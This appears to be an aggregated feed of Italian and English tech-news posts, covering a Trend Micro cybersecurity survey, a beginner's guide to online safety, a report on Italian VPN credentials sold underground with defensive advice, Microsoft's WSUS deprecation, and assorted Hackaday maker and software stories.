Solo un’organizzazione su tre è in grado di gestire la sicurezza informatica 24 ore su 24. La maggior parte delle aziende, inoltre, non dispone di risorse sufficienti e del supporto dei vertici aziendali per poter intercettare e mitigare al meglio le minacce che colpiscono la propria infrastruttura. Il dato emerge da “Underfunded and unaccountable: How a lack of corporate leadership is hurting cybersecurity”, l’ultima ricerca Trend Micro, leader globale di cybersecurity.

Lo studio Trend Micro approfondisce l’attitudine dei responsabili alla gestione del rischio legato alle superfici di attacco, evidenziando le lacune che potrebbero compromettere gravemente la resilienza informatica delle organizzazioni.

Dalla ricerca emerge che:

  • Solo il 36% del campione dispone di personale sufficiente per garantire la copertura della sicurezza informatica 24 ore su 24, 7 giorni su 7, tutto l’anno
  • Solo il 35% utilizza tecniche di attack surface management per misurare il rischio della superficie di attacco
  • Solo il 34% è conforme a quadri normativi comprovati, come ad esempio il NIST

L’incapacità, della maggior parte delle aziende, di soddisfare questi requisiti fondamentali di sicurezza, potrebbe essere correlata a una mancanza di leadership e responsabilità dei vertici dell’organizzazione. La metà (48%) degli intervistati ha, infatti, affermato che i responsabili aziendali non considerano la sicurezza informatica un loro compito. Alla domanda su chi abbia o dovrebbe avere la responsabilità di mitigare il rischio aziendale, le risposte hanno indicato una mancanza di chiarezza sulle linee guida. Il 31% ha però affermato che la responsabilità spetterebbe ai team IT.

La mancanza di una direzione certa sulla strategia di sicurezza informatica potrebbe essere il motivo per cui oltre la metà (54%) degli intervistati si è lamentata dell’atteggiamento della propria organizzazione nei confronti del rischio informatico, indicato come incoerente e variabile a seconda del periodo (54%).

La mancanza di una strategia chiara in ambito cyber può influenzare negativamente la capacità di un’organizzazione di prendere decisioni rapide e coerenti.

“È importante che i Chief Information Security Officer (CISO) comunichino i rischi informatici con chiarezza, utilizzando tutti gli strumenti a disposizione e coinvolgendo attivamente i Consigli di Amministrazione”, afferma Alessandro Fontana, Country Manager di Trend Micro Italia. “Per affrontare al meglio queste sfide, le aziende dovrebbero prendere in considerazione l’adozione di una soluzione integrata. Tale soluzione non solo deve proteggere l’intera superficie di attacco, ma anche permettere un monitoraggio dei rischi in tempo reale e una gestione automatizzata delle criticità. Questo approccio rafforza notevolmente la resilienza dell’organizzazione ed è inoltre cruciale che la piattaforma sia integrabile con soluzioni di terze parti, per garantire una protezione completa e una gestione più fluida della sicurezza”.

Lo studio ha infatti rivelato che in molte organizzazioni questo non avviene e circa il 96% degli intervistati nutre preoccupazioni circa la propria superficie di attacco. Il 36% vorrebbe trovare un modo per scoprire, valutare e mitigare le aree ad alto rischio, mentre il 19% non è in grado di lavorare su un’unica fonte di verità.

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Learn GPU Programming With Simple Puzzles


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Have you wanted to get into GPU programming with CUDA but found the usual textbooks and guides a bit too intense? Well, help is at hand in the form of a series of increasingly difficult programming ‘puzzles’ created by [Sasha Rush]. The first part of the simplification is to utilise the excellent NUMBA python JIT compiler to allow easy-to-understand code to be deployed as GPU machine code. Working on these puzzles is even easier if you use this linked Google Colab as your programming environment, launching you straight into a Jupyter notebook with the puzzles laid out. You can use your own GPU if you have one, but that’s not detailed.

The puzzles start, assuming you know nothing at all about GPU programming, which is totally the case for some of us! What’s really nice is the way the result of the program operation is displayed, showing graphically how data are read and written to the input and output arrays you’re working with. Each essential concept for CUDA programming is identified one at a time with a real programming example, making it a breeze to follow along. Just make sure you don’t watch the video below all the way through the first time, as in it [Sasha] explains all the solutions!

Confused about why you’d want to do this? Then perhaps check out our guide to CUDA first. We know what you’re thinking: how do we use non-nVIDIA hardware? Well, there’s SCALE for that! Finally, once you understand CUDA, why not have a play with WebGPU?

youtube.com/embed/K4T-YwsOxrM?…


hackaday.com/2024/09/25/learn-…




L'immagine a corredo di questo articolo ha il solo scopo di attirare l'attenzione degli sviluppatori di APP!   APP e privacy... ora si fa su...


Siamo tutti fregati? La dura verità sulla sicurezza online spiegata da Bruce Schneier


Vi siete mai sentiti insicuri online? Non siete i soli. Anche gli esperti di cybersecurity si confrontano con questa domanda: ma come proteggere i nostri dati online? Bruce Schneier, uno dei massimi esperti al mondo di sicurezza digitale, ha spesso sottolineato la complessità della sicurezza informatica. In una delle sue numerose interviste ha specificato che gli viene frequentemente chiesto:

cit: “Spesso mi chiedono che cosa può fare l’uomo della strada per mettersi al riparo dai rischi di sicurezza informatica.”

Si potrebbe rispondere con un fatalistico:” Niente, siamo già tutti fregati”

L’ingresso dell’intelligenza artificiale sullo scenario tecnologico ha reso la sicurezza digitale ancora più complessa, aumentando le minacce informatiche come il phishing, i malware, le violazioni di dati su larga scala, deep-fake, disinformazione. Tuttavia, come ha sottolineato Schneier, per la tutela dei propri dati anche le misure più semplici possono fare la differenza. Il fattore umano può contribuire a prevenire e creare un ambiente online più sicuro.
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Nell’attuale panorama tecnologico, la cybersecurity è indubbiamente uno degli argomenti più discussi. I media sono pieni di esperti che con il loro linguaggio tecnico, spesso lasciano anche l’utente più attento disorientato, convinto che proteggere i dati sia roba da esperti.

Ma la cybersecurity è materia riservata agli specialisti? Come ha sottolineato Schneier, anche l’utente comune può adottare semplici ma fondamentali precauzioni per migliorare significativamente la sicurezza online.

L’obiettivo di questo articolo è quello guidare l’utente meno esperto al complesso mondo della cybersecurity fornendo quelle informazioni necessarie per una maggiore consapevolezza senza addentrarsi in eccessivi tecnicismi. Scopriremo come semplici accorgimenti possono fare una grande differenza nella protezione della nostra privacy.

Cos’è Cybersecurity


Cos’è la Cybersecurity? Semplificando, possiamo considerarla l’insieme delle misure che adottiamo per proteggere i nostri dati e i nostri dispositivi da attacchi, occhi indiscreti o ficcanaso digitali (accessi non autorizzati)

I tre pilastri a sostegno della cybersecurity sono:

  • Persone: Sono la prima linea di difesa, e le nostre azioni (o mancate azioni) fanno la differenza.
  • Processi: Il modo in cui creiamo una password (è un processo), le procedure di backup, definiscono la nostra sicurezza.
  • Tecnologie: Antivirus e firewall, sono gli strumenti che fanno da argine e ci proteggono dalle minacce più comuni.


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Processo: un esempio di buona pratica in cybersecurity è la creazione di una password forte: scegliendo una combinazione unica di lettere, numeri e simboli, evitando l’uso di parole comuni o informazioni personali. Da evitare anche il riutilizzo delle password.

Ma la sicurezza online non si limita a questo. Le nostre scelte quotidiane, come cliccare su link sospetti, o la condivisione di informazioni sensibili sui social media, influenzano significativamente la nostra vulnerabilità agli attacchi informatici. La nostra sicurezza online. Oltre alle nostre azioni, le tecnologie di sicurezza come antivirus, firewall e software di backup costituiscono la prima linea di difesa proteggendo i nostri dati. È di fondamentale importanza mantenere questi strumenti aggiornati per garantire la massima protezione.

Tuttavia, anche servizi esterni, come e-mail e piattaforme cloud, possono rappresentare un rischio se non gestiti correttamente. Affidare i nostri dati a terzi, ci obbliga a scegliere provider affidabili. Per questo motivo è fondamentale adottare misure di sicurezza adeguate, sia a livello individuale (come l’utilizzo di password forti e l’autenticazione a due fattori) sia a livello organizzativo. la cybersecurity in quanto tale richiede una combinazione di: consapevolezza, attenzione e strumenti tecnologici.

Cybersecurity, principali di minacce informatiche


Nel mondo digitale sempre più connesso, le minacce informatiche rappresentano un pericolo costante per la nostra privacy e la sicurezza dei nostri dati. Il panorama delle minacce e in continua evoluzione, ma alcune tipologie sono particolarmente diffuse. Il termine Malware deriva dalle parole inglesi “malicius” (malevolo, cattivo) e software, e sta ad indicare un software creato per danneggiare un sistema informatico o violarne l’integrità. I tipi di malware più comuni sono: Virus, Worm, Trojan, Spyware, Adware, Ransomware, Rootkit, keylogger. Analizzeremo solo alcune di queste minacce.

  • Phishing (Social Engineering: convincerci a fare qualcosa)
  • Malware (Ransomware: prende il controllo del PC. Spyware: rubano dati)
  • Attacchi basati sul web (sfruttano le vulnerabilità di siti ed app)
  • attacchi SQL injection o XSS, sfruttano vulnerabilità nell’applicazione web ed errori di programmazione di pagine HTML (non tratteremo questa tipologia)


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Il Phishing basato sull’ingegneria sociale (Social Engineering) inganna l’utente con tecniche di persuasione e psicologiche. Mira a ingannare gli utenti per indurli a rivelare informazioni sensibili, come password, numeri di carte di credito o codici di accesso. Gli attacchi di phishing possono avvenire tramite e-mail, SMS (smishing), social media e app di messaggistica. Un esempio tipico di Phishing è un’e-mail che imita una notifica della banca, chiedendo all’utente di aggiornare i propri dati personali.

Malware: è una delle possibili conseguenze di un attacco di phishing, persuasi tramite phishing, all’apertura di un file, un allegato tramite link, viene data via libera al malware che non necessariamente deve subito installarsi. Può rimanere inattivo e silenzioso, nascondendosi nel sistema, diventando difficilmente rilevabile.

Ransomware, esistono due famiglie: cryptor e blocker. I cryptor cifrano i dati rendendoli inaccessibili mentre i secondi bloccano l’accesso al dispositivo. L’hacker o l’organizzazione attaccante che posseggono la chiave per decrittare i dati posoono chiedere così un riscatto per il ripristino della macchina o dei dati in essa contenuti. Avendo un alto margine di profitto e una catena piuttosto semplice e molto efficiente di persone che devono essere coinvolte, sono molto diffusi.

Per spyware sì intende una forma di malware che non cifra i dati ma si nasconde nei dispositivi, monitora le attività svolte dall’utente e ruba informazioni sensibili registrando tutto quello che viene battuto sulla tastiera. Come le credenziali di posta elettronica alla quale accede per inviare messaggi contenenti altro malware.

Attacchi basati sul web, questo tipo di attacco sfrutta vulnerabilità dei siti web o delle applicazioni basati sul web. I siti web commerciali sono dei siti web dinamici, proprio la natura dinamica di questi siti, consente ad un malintenzionato di utilizzarlo, farlo funzionare, in maniera diversa da quella per cui era stato progettato. A queste tecniche appartengono le cosiddette vulnerabilità zero-click. Un tipo di attacco molto insidioso, infatti se con il phishing per installare un malware è necessario cliccare su di un link, con un attacco zero-click, il software malevolo può essere installato nel dispositivo o nel PC senza che la vittima faccia clic su alcun collegamento (Link)

Un’operazione da fare per proteggersi dai malware è quello di installare un antivirus e tenerlo necessariamente sempre aggiornato. Tenere aggiornati i sistemi operativi e fare attenzione a tutti quei dispositivi piccoli che possono collegarsi alla rete. Dispositivi IoT (Internet of Things), come smart TV, assistenti vocali e dispositivi indossabili, rappresentano un bersaglio sempre più ambito per gli hacker. Oggetti che, se non gestiti ma inseriti nella rete domestica, possono essere usati come sponda per accedere ai nostri dati.
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Cybersecurity e minacce nel mondo digitale


Secondo il rapporto del Clusit, associazione italiana specializzata in cybersecurity, il numero di attacchi informatici è cresciuti del 79% tra il 2018 e il 2023. L’obiettivo principale di questi attacchi è l’estorsione, con oltre l’83% degli attacchi a livello globale mirati ad ottenere un riscatto in denaro. In Italia, sebbene la percentuale sia leggermente inferiore (64%), le aziende, soprattutto nei settori della sanità e dei servizi finanziari, sono particolarmente colpite dai ransomware. Non solo le aziende sono nel mirino: anche i singoli individui sono bersaglio di truffe online, ricatti e altre forme di cybercrime. Inoltre, le cronache recenti ci mostrano come anche le istituzioni pubbliche, i servizi di pubblica utilità siano vulnerabili. Un attacco a un’infrastruttura critica può avere conseguenze disastrose, non solo in termini economici, ma anche per la privacy, la sicurezza nazionale e la continuità dei servizi essenziali.

Per proteggersi da queste minacce, è fondamentale adottare misure di sicurezza adeguate, come effettuare regolarmente il backup dei dati, mantenere aggiornati i software e i sistemi operativi, diffidare delle e-mail sospette e formare il personale sulle migliori pratiche di sicurezza informatica.
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Cybersecurity, come proteggersi


Per proteggersi dalle minacce informatiche, è fondamentale prestare attenzione sia al fattore umano che a quello tecnologico.

Fattore Umano: diffidare dalle offerte di vincite facili o da allegati sospetti. Non sempre si mettono in palio costosi smartphone. Evitare di scaricare file da fonti non affidabili e fare attenzione alle penne USB che potrebbero contenere malware. Esistono dispositivi di protezione che rendono le pen-drive a sola lettura, impedendo modifiche accidentali o malevole ai dati. Le reti Wi-Fi pubbliche sono spesso insicure, quindi evita di effettuare operazioni sensibili come l’home banking o lo shopping online.

Proteggi la tua connessione con una VPN (serve a cifrare il traffico) e limita al minimo la condivisione di informazioni personali online. Per i social network, preferire piattaforme che consentono al proprio account di mascherare il proprio numero telefonico. Meglio sarebbe non fornirlo, per limitare ancora di più la tracciabilità. Non condividere informazioni personali online, poiché potrebbero essere utilizzate per scopi fraudolenti. Con l’avvento dell’AI generativa, da poche immagini è possibile generare interi video. Infine, utilizzo dell’autenticazione a più fattori.

Fattore tecnologico: Utilizza password forti e uniche per ogni account e considera l’utilizzo di un password manager per generarne e memorizzarne in sicurezza. Mantieni aggiornati tutti i tuoi dispositivi e software, evitando di installare applicazioni da fonti non ufficiali. Non rootare o jailbreakare il tuo smartphone, poiché queste operazioni compromettono la sicurezza del dispositivo e lo rendono più vulnerabile agli attacchi.

Cybersecurity un osservazione Finale


L’utente ha sempre meno controllo sui dati e questo è un problema sempre più pressante nel mondo digitale. Per arginare questo rischio, è fondamentale rivolgersi a fornitori di servizi digitali in grado di offrire garanzie concrete sulla sicurezza dei dati. Una certificazione ISO 27001 rappresenta un punto di riferimento importante in questo senso.

L’ISO 27001 è una norma internazionale che stabilisce i requisiti per un sistema di gestione della sicurezza delle informazioni (SGSI). Un’azienda certificata ISO 27001 ha implementato una serie di controlli e misure rigorose per proteggere i dati dei suoi clienti, garantendo un impegno concreto nei confronti della sicurezza informatica.

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Accesso a 20.000 VPN Italiane a 350 Dollari in Vendita nelle underground! Le VPN sono una cosa seria


Un recente post apparso su un forum underground in lingua russa, mette in vendita account VPN di utenti italiani per soli 350 dollari.

Questo tipo di offerta, include l’accesso a VPN aziendali e utenti di dominio, rappresenta una minaccia significativa per l’integrità delle infrastrutture IT aziendali. Analizziamo l’evento e facciamo consapevolezza sui rischi legati alla vendita di credenziali e accessi nelle darknet.
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Cosa è emerso dal post


Nel post, pubblicato da un utente con il nickname “Fuckyy”, vengono messe in vendita credenziali VPN (con specifica menzione del protocollo Cisco SSL VPN – cscoe) e account aziendali relativi a un’azienda di servizi italiani con 91 dipendenti.

Il venditore specifica l’offerta di 20kk (presumibilmente 20.000 record o credenziali), proponendo il tutto per 350$ e garantendo l’affidabilità del servizio solo a chi si dimostri di fiducia tramite un deposito o reputazione pregressa. Il numero di credenziali rispetto ad una azienda di 91 dipendenti sembra spropositato, pertanto si potrebbe immaginare che le informazioni in esso contenute siano maggiori rispetto a quanto riportato dal criminale informatico, oppure l’azienda si occupa proprio di vendita delle VPN.

Perché queste vendite sono un pericolo?


La disponibilità di VPN e account aziendali in vendita nei mercati underground rappresenta una grave minaccia. Accedere a una VPN aziendale senza autorizzazione non solo permette agli attaccanti di muoversi lateralmente all’interno di una rete, ma consente loro di farlo camuffando la loro presenza dietro legittimi credenziali aziendali. Questo porta a vari rischi:

  1. Furto di Dati Sensibili: Una volta ottenuto l’accesso alla rete aziendale, gli attaccanti possono sottrarre dati critici come informazioni sui clienti, dati finanziari o progetti riservati.
  2. Attacchi mirati e persistenti: L’accesso alla VPN permette di condurre attacchi più sofisticati e mirati. Gli hacker possono mantenere un accesso persistente alla rete, osservando movimenti e raccogliendo dati nel tempo.
  3. Ransomware: Con l’accesso a una rete aziendale, i cybercriminali possono installare ransomware che paralizza l’attività dell’azienda. A quel punto, possono chiedere riscatti milionari per sbloccare i sistemi o ripristinare i dati crittografati.
  4. Compromissione della reputazione: Se i dati aziendali vengono compromessi, le aziende colpite potrebbero subire gravi danni reputazionali. Questo può avere conseguenze disastrose sia a livello finanziario che legale.


L’aumento delle vendite di VPN e credenziali aziendali nelle underground


La vendita di accessi VPN aziendali è diventata sempre più comune negli ultimi anni, complice la crescente digitalizzazione e l’aumento del lavoro da remoto. Le aziende si affidano massicciamente a VPN e infrastrutture remote, ma spesso non adottano misure di sicurezza sufficienti. Le VPN, se non configurate o gestite correttamente, possono diventare l’anello debole della catena di sicurezza.

Una cattiva gestione delle credenziali, come l’uso di password deboli o la mancata implementazione di autenticazione a due fattori, può permettere agli hacker di accedere facilmente a questi sistemi. E una volta ottenuto l’accesso, lo stesso può essere venduto o condiviso nei forum del dark web, come quello mostrato nell’immagine. Inoltre la minaccia degli infostealer è sempre in agguato e moltissimi market underground vendono proprio le VPN come vettori iniziali di compromissione aziendale.

Come difendersi?


Per prevenire l’accesso non autorizzato attraverso VPN e credenziali compromesse, è essenziale che le aziende adottino una serie di misure di sicurezza:

  1. Autenticazione a più fattori (MFA): Questo è un passaggio essenziale per garantire che anche se le credenziali vengono compromesse, gli hacker non possano accedere senza il secondo fattore di autenticazione.
  2. Monitoraggio continuo: Implementare soluzioni di monitoraggio della rete che siano in grado di rilevare attività sospette o non autorizzate.
  3. Controllo e rotazione delle credenziali: Le credenziali dovrebbero essere aggiornate regolarmente, e gli account inutilizzati o inattivi dovrebbero essere disabilitati.
  4. Formazione del personale: I dipendenti dovrebbero essere istruiti riguardo le minacce informatiche e sull’importanza della sicurezza delle credenziali.
  5. Penetration testing: Le aziende dovrebbero regolarmente eseguire test di penetrazione per verificare la robustezza delle proprie difese e l’eventuale esistenza di vulnerabilità.


Conclusione


La vendita di accessi VPN e credenziali aziendali in mercati underground come quello descritto evidenzia la vulnerabilità delle infrastrutture aziendali, in particolare in un contesto in cui il lavoro da remoto e l’uso di VPN sono sempre più diffusi. Le aziende devono adottare misure proattive per prevenire questi rischi e garantire la protezione delle loro reti. Solo un approccio olistico alla sicurezza informatica, che comprende tecnologie avanzate, monitoraggio costante e formazione, può mitigare il rischio di cadere vittime di simili attacchi.

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Lavorare stanca, e anche i calciatori minacciano lo sciopero


@Notizie dall'Italia e dal mondo
Il nuovo articolo di @valori@poliversity.it
Dopo l’azione legale del loro sindacato contro la Fifa, i calciatori chiamano lo sciopero per i calendari intasati
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valori.it/sciopero-calciatori/



Largest EU telcos shift focus on green transition in renewed call for investments


The EU's largest telecom operators are taking up sustainability as part of their call for more investments in their industry, according to a policy agenda published by lobby Connect Europe.


euractiv.com/section/digital/n…



È Ufficiale! Microsoft Depreca WSUS: Il Futuro degli Aggiornamenti Cambia!


Microsoft ha annunciato ufficialmente che Windows Server Update Services (WSUS) è ​​ora in stato di deprecato, ma prevede di preservare le attuali funzionalità e continuare a pubblicare gli aggiornamenti tramite il canale.

D’altronde, la notizia non dovrebbe sorprendere, Microsoft aveva fatto indicato per la prima volta WSUS come una delle “funzionalità rimosse o non più sviluppate a partire da Windows Server 2025” già nell’agosto scorso.

Panoramica su Windows Server Update Services (WSUS)
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Windows Server Update Services è stato introdotto nel 2005 come servizio di aggiornamento software, WSUS permette agli amministratori IT di gestire e distribuire gli aggiornamenti per i prodotti Microsoft su vaste reti aziendali che richiedono aggiornamenti sempre coerenti e controllati per un gran numero di dispositivi Windows. Il servizio, agisce come tramite e offre un controllo centralizzato degli aggiornamenti piuttosto che farli scaricare individualmente da ogni dispositivo dai server Microsoft.

Mentre le nuove funzionalità e lo sviluppo di WSUS cesseranno, Microsoft ha affermato che prevede di continuare a supportare le funzionalità e gli aggiornamenti esistenti del servizio, che saranno comunque distribuiti, anche dopo la deprecazione. “In particolare, ciò significa che non stiamo più investendo in nuove funzionalità, né stiamo accettando nuove richieste di funzionalità per WSUS. Tuttavia, stiamo preservando le funzionalità correnti e continueremo a pubblicare aggiornamenti tramite il canale WSUS. Supporteremo anche qualsiasi contenuto già pubblicato tramite il canale WSUS.” afferma in una nota Nir Froimovici Commercial Servicing and Intelligence di Microsoft.

La modifica riguarderà tutti gli ambienti aziendali che si affidano alla gestione e distribuzione degli aggiornamenti ai dispositivi tramite WSUS, e non avrà ovviamente alcun impatto sugli utenti privati.

Dopo la deprecazione di WSUS, il ruolo resterà disponibile in Windows Server 2025, ma Microsoft consiglia fortemente alle aziende di passare a soluzioni Cloud per gli aggiornamenti client e server, come ad esempio Windows Autopatch, Microsoft Intune e Azure Update Manager.

Conclusione

Questa decisione da parte di Microsoft, segna un cambiamento significativo nel panorama della gestione dei dispositivi all’interno delle organizzazioni. Rappresenta inoltre, un’importante opportunità per aziende di modernizzare la propria infrastruttura e migliorarne l’efficacia operativa. Gli amministratori IT sono chiamati a intraprendere soluzioni moderne e alternative sempre più basate su Cloud, mantenendo alti gli standard di sicurezza e riducendo al minimo le interruzioni dei flussi di lavoro esistenti.

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Firefox ti traccia con la funzione "privacy preserving
noyb ha presentato una denuncia contro Mozilla per aver silenziosamente attivato una presunta "funzione di privacy" (chiamata Privacy Preserving Attribution) nel suo browser Firefox, che traccia il comportamento degli utenti sui siti web.
mr25 September 2024
mozilla tracking


noyb.eu/it/firefox-tracks-you-…



A Space Walk Through ISS


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The International Space Station (ISS) might not be breaking news, but this February, National Geographic released a documentary that dives into the station’s intricate engineering. It’s a solid reminder of what human ingenuity can achieve when you put a team of engineers, scientists, and astronauts together. While the ISS is no longer a new toy in space, for hackers and tinkerers, it’s still one of the coolest and most ambitious projects ever. And if you’re like us—always looking for fresh inspiration—you’ll want to check this one out.

The ISS is a masterpiece, built piece by piece in space, because why make things easy? With 16 pressurized modules, it’s got everything needed to keep humans alive and working in one of the harshest environments imaginable. Add in the $150 billion price tag (yes, billion), and it’s officially the most expensive thing humans have ever built. What makes it especially interesting to us hackers is its life support systems—recycling water, generating oxygen, and running on solar power. That’s the kind of closed-loop system we love to experiment with down here on Earth. Imagine the implications for long-term sustainability!

But it’s not just a survival bunker in space. It’s also a global science lab. The ISS gives researchers the chance to run experiments that could never happen under Earth’s gravity—everything from technology advancements to health experiments. Plus, it’s our testing ground for future missions to Mars. If you’re fascinated by the idea of hacking complex systems, or just appreciate a good build, the ISS is a dream project.

Catch the documentary and dive into the world of space-grade hacking. The ISS may be orbiting out of sight, but for those of us looking to push the boundaries of what’s possible, it’s still full of inspiration.

youtube.com/embed/Ei-TcECJVXU?…


hackaday.com/2024/09/24/a-spac…

Gazzetta del Cadavere reshared this.



Will You Need Ad Block for Your Car?


A black and white line drawing of a vehicle interior showing the dashboard and. steering wheel. On the infotainment screen, the words "Selected Ad" are emblazoned in large letters.

The modern web has become difficult to navigate without ad blocking software. Ford now has a patent that would bring the ads we hate to your vehicle’s infotainment system. [via PCMag]

Ford has already replied to criticism with the usual corporate spiel of patents not necessarily being the direction the company will go with future products, but it’s hard to imagine that other automakers aren’t planning similar systems since they’re already charging extra for heated seats, EV range, and performance. Bringing ads to the captive audience of your personal vehicle and targeting them based on listening to the occupants’ conversations would be a new low. Maybe you’ll be able to pay an extra $100/month for the “ad-free experience.”

Instead of taking advantage of the EV transition to make better, simpler cars, automakers are using their highly-computerized nature to extract more from you and provide less when you drive off the lot. Enshittification has come for the automobile. Perhaps auto executives should read A Few Reasonable Rules for the Responsible Use of New Technology?

The first step of blocking these ads will likely be jailbraking the infotainment system. If that wasn’t enough, locking features behind a paywall has come for wheelchairs too.


hackaday.com/2024/09/24/will-y…



Winamp Releases Source Code, But Is It Really Open?


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The 1990s seem to have reached that point at which they are once more considered cool, and ephemera of the decade has become sought-after. One of the unlikely software hits from the period was Winamp, the MP3 player of choice in an era when time spent on dodgy file sharing sites or peer to peer sharing would snag you almost any music you wanted. Decades later its interface is still widely copied, but now you can try the original again as its source code has been made available. It’s not what we’d call open source though, even though they seem to be making an effort to imply as much with phrases such as “opening up its source code“.

If you’d like to have a go with it you can snag a copy from this GitHub repository, and you’ll need a particular version of Visual Studio 2019 to build it. Any celebrations will be muted though by paragraph five of the Winamp Collaborative License, which prohibits distribution of modified versions or forks, and stipulates that only the official maintainers can distribute it. This doesn’t sound like open source to us, indeed it seems they’re just looking for community maintenance for free, which probably isn’t too surprising from a brand which went all-out to join the NFT bandwagon a couple of years ago.

So have a look for nostalgia’s sake if you want, but we’d suggest going for something more community driven if you want to do anything with it.

Header: Christiaan Colen, CC BY-SA 2.0.


hackaday.com/2024/09/24/winamp…



Come mitigare le frodi bancarie con nuove procedure


@Informatica (Italy e non Italy 😁)
Secondo il Forrester Fraud Research Report 2023 di Experian, il 73% delle imprese a livello globale ha segnalato un aumento delle perdite derivanti da frodi informatiche. Questo problema è particolarmente evidente nel settore dei servizi finanziari, dove il 78% delle organizzazioni ha riportato un



‼️COMUNICATO STAMPA di WikiLeaks:

Julian Assange interverrà al Consiglio d'Europa dopo la conferma del suo status di prigioniero politico

Il 1° ottobre Julian Assange arriverà a Strasburgo per testimoniare davanti alla Commissione per gli affari giuridici e i diritti umani dell'Assemblea parlamentare del Consiglio d'Europa (APCE), la cui riunione è prevista dalle 8.30 alle 10.00 presso il Palazzo d'Europa.

Ciò segue la pubblicazione del rapporto di inchiesta PACE sul caso Assange, redatto dal relatore Thórhildur Sunna Ævarsdóttir. Il rapporto si concentra sulle implicazioni della sua detenzione e sui suoi effetti più ampi sui diritti umani, in particolare sulla libertà di giornalismo. Il rapporto conferma che Assange si qualifica come prigioniero politico e chiede al Regno Unito di condurre una revisione indipendente per stabilire se sia stato esposto a trattamenti inumani o degradanti.

Sunna Ævarsdóttir è la Relatrice generale per i prigionieri politici e la Presidente del Sottocomitato sull'intelligenza artificiale e i diritti umani all'interno del Comitato per gli affari legali del PACE. Sottolinea come il caso di Assange sia un esempio di alto profilo di repressione transnazionale. Il rapporto analizza come i governi utilizzino misure legali ed extralegali per reprimere il dissenso oltre confine, il che rappresenta minacce significative per la libertà di stampa e i diritti umani.

Julian Assange è ancora in fase di recupero dopo il suo rilascio dalla prigione nel giugno 2024. Parteciperà di persona a questa sessione a causa della natura eccezionale dell'invito e per accogliere il supporto ricevuto da PACE e dai suoi delegati negli ultimi anni. PACE ha il mandato di salvaguardare i diritti umani e ha ripetutamente chiesto il rilascio di Julian Assange quando era in prigione.

Deporrà davanti alla commissione, che esaminerà anche le conclusioni secondo cui la sua prigionia è stata motivata da ragioni politiche.

L'udienza segna la prima testimonianza ufficiale di Assange sul suo caso da prima della sua prigionia nel 2019. La sua comparizione davanti al principale organismo europeo per i diritti umani e la definizione dei trattati sottolinea le implicazioni più ampie del suo caso.

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ESP32 Powers Custom Darkroom Timer


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Developing your own film is an unabashedly analog process, which is one of the reasons people still gravitate towards it. After spending all day pushing buttons and looking at digital displays, spending some quiet time in the dark with pieces of paper and chemicals can be a way to decompress. But that doesn’t mean there isn’t room for a bit of modern digital convenience.

20860948Specifically, [John Jones] wanted a timer that offered more features than his old school analog model, so he decided to build one himself. He took the long away around to make sure the end result would be a tool he could rely on, which meant getting a custom PCB made, 3D printing a case to fit in with his existing workspace, and designing a control panel that he could operate in the dark.

The PCB plays host to an ESP32 development board and an I/O expander that connects up to the array of LEDs, switches, and buttons on the front panel. The bottom-half of of the 3D printed enclosure is pretty simple, but the control panel is quite a piece of work.

Borrowing a trick from the flight sim community, [John] switched over to a clear filament after laying down the first few layers of the panel. This essentially created an integrated light diffuser, and with the addition of a few red LEDs, he had very slick backlit labels on his panel with relatively minimal effort.

We’ve covered custom darkroom tools in the past, from this relatively simple enlarger to an automated system that will develop the film for you.

youtube.com/embed/a5j6p5AFZho?…


hackaday.com/2024/09/24/esp32-…



3D Printing On Top Of Laser Cut Acrylic


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[Julius Curt] needed to mark acrylic panels with a bit more clarity than the usual way of rastering the surface, so they attempted to 3D print directly to an acrylic sheet, which worked perfectly. The obvious way to do this was to bond the acrylic sheet to the bed with glue temporarily, but another way was tried, and it’s much less messy and precarious.
20857587The bond between a 3D print and acrylic is very strong
The first step was to create a 3D model which combined a constraining ‘fence’ to contain the acrylic panel with the required artwork floating above. It was easy enough to run the print long enough to build the fence, then pause the print mid-way to add the pristine panel and restart after a quick re-prime and wipe.

There were a few simple takeaways from the video below. First, to ensure sufficient tolerance between the fence and the panel, consider the layer width (plus associated tolerance when printed) and the laser kerf of your machines to ensure a not-too-sloppy fit. Secondly, that hot nozzle won’t do the acrylic surface any favours during travel moves, so enabling Z-hopping is essential!

Another use for this simple technique is to fully incorporate an acrylic sheet within a print by pausing at an appropriate height again, dropping the panel in, and continuing the print. A degree of overlap will lock the panel tight, with the plastic bonding very firmly to the acrylic, as [Julius] demonstrates in the video.

It’s always a delight to see how techniques can combine to create the desired effects. Here’s how to use a color laser printer and toner transfer paper to apply designs to a 3D printing front panel. Whilst we’re thinking about the multitude of uses for hacking with acrylic, what about not doing that and using corrugated plastic instead?

youtube.com/embed/I9eQ80Dysds?…


hackaday.com/2024/09/24/3d-pri…



A security researcher managed to pull a list of Ghost users, resellers, and even customer support messages from an exposed server. It shows how as organized criminals move to making their own encrypted platforms, they might make vulnerable products.#News #Hacking



Supercon 2023: The Road to Writing Great Step-by-Step Instructions


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Ikea is known as a purveyor of build-it-yourself flatpack furniture. Lego is known as a purveyor of build-it-yourself toys. Both are known for their instructions. The latter’s are considered incredibly clear and useful, while the former’s are often derided as arcane and confusing—though the major difference between the two is color printing.

These two companies are great examples of why instructions are important. Indeed, Sonya Vasquez has learned this lesson well, and came down to Supercon 2023 to tell us all about it. Prepare to learn all about how to write great step-by-step instructions that enable greatness and never frustrate the end user.

This, Then This, Then This


Before we discuss the talk, it’s important we acknowledge something. The audio on Sonya’s talk is completely absent until about seven minutes in. Perhaps we should have put better instructions on the streaming computer’s mixing desk or something. In any case, it doesn’t harm much—when the audio comes in, Sonya is already telling us about one of her early builds.

youtube.com/embed/Heiqos0lqI0?…

The talk starts by looking at a fun little project—Sonya’s GameCube-Bot. It’s a simple robot chassis that fits into the plastic case of a Nintendo GameCube, allowing it to be driven around on the floor like an RC car. The result was both remarkably cute and nicely maneuverable. Initial reactions were positive, and that got Sonya thinking. “How do I share this with people?” she says. The answer? A more accessible build method, and of course—instructions!
20853780Early on, Sonya used photographs for her assembly diagrams. However, she’s since found that producing instructions with CAD drawings can be more effective.
GameCube-Bot 2 was designed to rely on laser-cut plastic parts instead of expensive machined aluminium parts. “I can just put the design files on the internet, but actually, I think I need some sort of instructions,” said Sonya. Thus, she laid out the bill of materials, parts, and processes required to build one, and threw it all on Instructables.

“I learned a lot from this process,” she says. “I realized this is actually a lot of work.” The project taught Sonya multiple valuable lessons. She notes the value of quality photographs for illustrating a build process like this, which presents challenges around getting the right lighting, angles, and focus. That can be particularly difficult for complex mechanisms, especially where gravity might make it hard to keep parts in place. Then, if your design changes, you have to go back and do all the work again!

